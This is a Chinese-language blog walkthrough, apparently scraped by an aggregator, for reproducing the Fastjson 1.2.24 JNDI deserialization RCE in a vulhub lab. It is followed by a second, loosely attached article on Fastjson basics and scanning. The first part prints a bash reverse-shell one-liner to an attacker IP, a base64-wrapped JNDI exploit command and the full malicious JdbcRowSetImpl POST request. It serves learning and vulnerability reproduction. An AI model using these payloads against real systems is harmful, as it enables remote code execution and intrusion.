Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell

Posted 归去来兮-zangcc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell相关的知识,希望对你有一定的参考价值。

文章目录


前言

网上文章千篇一律,导致很多人都只会一种方法,只要有一种办法就所有人跟着这个办法去做了,新建java文件,然后用kali的javac去运行,但是他们都不知道kali其实并没有javac,步骤也不清不楚,这就让很多人自己去搜怎么配置javac,网上文章也是不清不楚,直接一条命令就说能解决,完全不管后果是什么,实在看不下去……

正好前几天有猫🐱问我这个漏洞,我就用我自己的简单办法来实现反弹shell,步骤完全没有你看过的那么复杂,跟着来绝对不会错。

漏洞原理这些文字我就不写了,大家自己网上搜吧。


提示:以下是本篇文章正文内容,下面案例可供参考

一、环境搭建

用docker启动vulhub的靶场就行了。
先去github下载一个vulhub靶场,进去fastjson1.2.24。

docker-compose up -d

二、漏洞复现准备

上面环境搭好之后,访问8090端口,就能看到。

看到上面的图片说明成功了,下面开始漏洞复现。

复现之前,只需要安装一个工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

注意注意注意📢!!!
这里要用两个不同的web服务器,比如我就是拿一台云服务VPS搭建的漏洞靶场,也就是下图这张,为了方便记忆,我就叫他小5。因为尾号有65,所以叫他小5。

然后,把刚刚下载的JNDI工具放到另一台VPS服务器上,可以理解为我的攻击机。因为尾号是1,为方便记忆,直接叫他老大。

基础薄弱的小白看到这里可能就已经懵逼了,其实你用vmware虚拟机也是一样的,启动两台不同的虚拟机就行,但是攻击机一定要有java环境。为了方便理解,我画了一张图:

小5是靶机,真实渗透里,小5就是你要攻击的目标。

老大是攻击机,是下载了 JNDI工具的。真实渗透里,老大就是你自己的电脑。

所以所以所以📢!!小5和老大,你可以用两台虚拟机来搞,比如你想用kali作为你的攻击机,那老大就是你的kali,另一台虚拟机搭建了漏洞环境的,就是你的靶机小5,之所以弄两台,是为了不要让大家漏洞复现的时候,靶机攻击机一起来用,我看很多人都是用kali搭建漏洞环境,然后又用同一台kali来做攻击机,结果实战的时候连监听地址和反弹shell的地址老是傻傻分不清,所以尽量靶机和攻击机分开。(当然了,kali无非也是一个debain系统,也是可以用来做靶机的。不是说kali就非要拿来做攻击机……)

好了,上面都是解释,下面开始复现。

三、漏洞复现

反弹shell的命令是下面这个,9076是监听的端口,可以随意改,合理即可。

bash -i >& /dev/tcp/攻击机ip地址/9076 0>&1

因为我的攻击机IP地址是老大(尾号为1),所以我的反弹shell里的ip地址就要改成这个老大,然后base加密。机密的网站我都给你们找好了:

https://woj.app/jjm/

加密之后就变成了下面这种格式:

bash -c echo,命令加密内容|base64,-d|bash,-i

接着用老大里的JNDI工具,执行下面的命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c echo,加密内容|base64,-d|bash,-i" -A "攻击机IP"

紫色的就是payload。

然后另起一个终端,攻击机监听9999端口。为什么是9999?因为往上数第2张图我设置的就是9999端口呀。

然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。

POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160


    "b":
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"payload",
        "autoCommit":true
    


bp抓包,然后将Host和payload更改,发送请求:

成功反弹shell。

在老大的终端nc监听里,获取到了小5的shell。完美结束。

四、不成功的原因(排查):

1、靶机与攻击机之间是否能相互PING通。
2、payload(紫色的那些)有很多个,一个不行可以换下一个。
3、攻击机的端口是否开启了?因为很多云服务器的端口都是默认关闭的,比如腾讯云,阿里云,你需要去控制台更改安全策略,把你的监听端口以及payload的端口开启,要是嫌麻烦,可以像我一样,把所有端口开启。

以上3点都没问题,300%能复现成功。


总结

不要千篇一律,方法不止一个,不要将简单问题复杂化,看到就烦。明明一个JNDI工具就能解决的事情。

    文章原创,欢迎转载,请注明文章出处: Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

文章目录

Json数据格式

JSON是一种轻量级的数据交换格式,全称:JavaScript 对象表示法(JavaScript Object Notation)

类比XML,你可以把JSON看作是一种存储数据的格式类型,一种数据规范。描述JSON格式数据的语法只是采用了JS对象字面量的表示方法,它独立于语言存在,只是在不同的编程语言中对这种数据类型的实现不同。

参考文章:JSON与JS的联系

FastJson类库

Json的三个类库

Java处理JSON数据有三个比较流行的类库,用于互相转换 Java 对象和 Json 数据。

类库说明
Gsongoogle维护
Jackson-
Fastjson阿里巴巴开源项目,得到广泛应用

其中 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

使用 FastJson 类库转换数据格式,使用到的 2 个函数如下。

函数说明
JSONString()把 Java 对象转换成 Json 数据
parseObject()把 Json 转换成 Java 对象

下载Jar压缩包

在eclipse JavaEE平台下,访问 项目地址,下载最新版 Jar 包得到 Fastjson-1.2.53.jar ,然后把 Jar 压缩包导入 Eclipse 工程。开发时即可使用 FastJson 类及其函数等。

Autotype功能

FastJson 的 Autotype 功能存在漏洞,该功能可以反序列化的时候人为指定精心设计的类,达成远程命令执行。

1.开发环境的部署和访问

查看 项目Wiki,在 IDEA 中使用 Maven 项目进行 FastJson 测试。配置 Maven 项目,参考 IntellIJ IDEA 配置 Maven 以及 修改 默认 Repository

FastJson的基本使用(执行反序列化操作)

使用测试类熟悉 FastJson的基本使用 和 2 个互转函数:JSONObject.toJSONString()JSONObject.parseObject(),主要代码如下,文件代码见文末

JSONObject.toJSONString(person1);
JSONObject.toJSONString(person2, SerializerFeature.WriteClassName);
JSONObject.parseObject(str1);

Autotype功能:允许用户在序列化数据中通过 @type 指定反序列化的 Class 类型。

  • 具有特性:反序列化过程中会触发 get、set 函数

反序列化函数:

  • JSONObject.parse()会识别并调用目标 class 的 set 类函数
  • JSONObject.parseObject()会触发构造函数、get类函数、set类函数
  • parseObject()函数其实也是调用了 parse 函数

对比如下 PHP 反序列化漏洞的利用条件,此处目前只是执行反序列化操作。

  1. 对输入的序列数据执行反序列化操作
  2. 有跳板函数

参考视频:《JAVA WEB安全攻防技术培训 fastjson反序列化1》

FastJson漏洞概况

2017年Fastjson远程命令执行漏洞

  • 公布时间:2017-03-15
  • 涉及类库版本:Fastjson小于1.2.24的所有版本
  • Poc适用版本:Fastjson-1.2.22到1.2.24区间
  • 修复版本:大于1.2.25

2019年Fastjson远程命令执行漏洞

  • 公布时间:2018年发现漏洞,2019年公布
  • 涉及类库版本:FastJSON 1.2.48以下版本

参考:fastjson复现

漏洞检测(Fastjson scan)

在云服务器上安装 docker 和 vulhub,使用 vulhub 的两个版本漏洞进行测试。

FastJson 1.2.24 RCE 靶场(成功检测):访问页面返回 Json 数据。
使用 Fastjson scan插件,需要以Post方式传入非空数据才会执行扫描,否则显示 not supported。扫描用时100秒左右,成功检测 vul 。

FastJson 1.2.47 RCE 靶场(成功检测):扫描用时 128 秒。

能用就行。但有一点不好的是,每次重启 bp 都要重新加载插件。

参考:一款检测Fastjson反序列化的burp插件

漏洞复现

漏洞原理简述

涉及知识储备:Jndi注入 。Jndi注入的利用方式如下,先去补充 JNDI 注入的知识。

  1. 基于rmi
  2. 基于ldap
  3. 基于BeanFactory

参考:fastjson漏洞复现浅谈Fastjson RCE漏洞的绕过史Java_JSON反序列化之殇_看雪安全开发者峰会.pdf

FastJson基本使用代码

使用测试类熟悉 FastJson的基本使用 和 2 个互转函数的文件代码

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastJsonTest 
    public static void main(String[] args)
        Person person1 = new Person();
        person1.setName("pump");
        person1.setAge(18);

        String str1 = JSONObject.toJSONString(person1);
        System.out.println(str1);

        Person person2 = new Person();
        person1.setName("watermelon");
        person1.setAge(2);

        String str2 = JSONObject.toJSONString(person2, SerializerFeature.WriteClassName);
        System.out.println(str2);
        // 把Json Str转换成Object的代码在视频里
    


public class Person 

    private String name;
    private Integer age;

    public String getName() 
        return name;
    

    public void setName(String name) 
        this.name = name;
    

    public Integer getAge() 
        return age;
    

    public void setAge(Integer age) 
        this.age = age;
    

FastJson 1.2.24 Rce复现图



参考

以上是关于Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell的主要内容,如果未能解决你的问题,请参考以下文章

Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell

安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)

[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE

vulhub漏洞复现Fastjson 1.2.24反序列化漏洞

fastjson<=1.2.47-反序列化漏洞-命令执行-漏洞复现

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录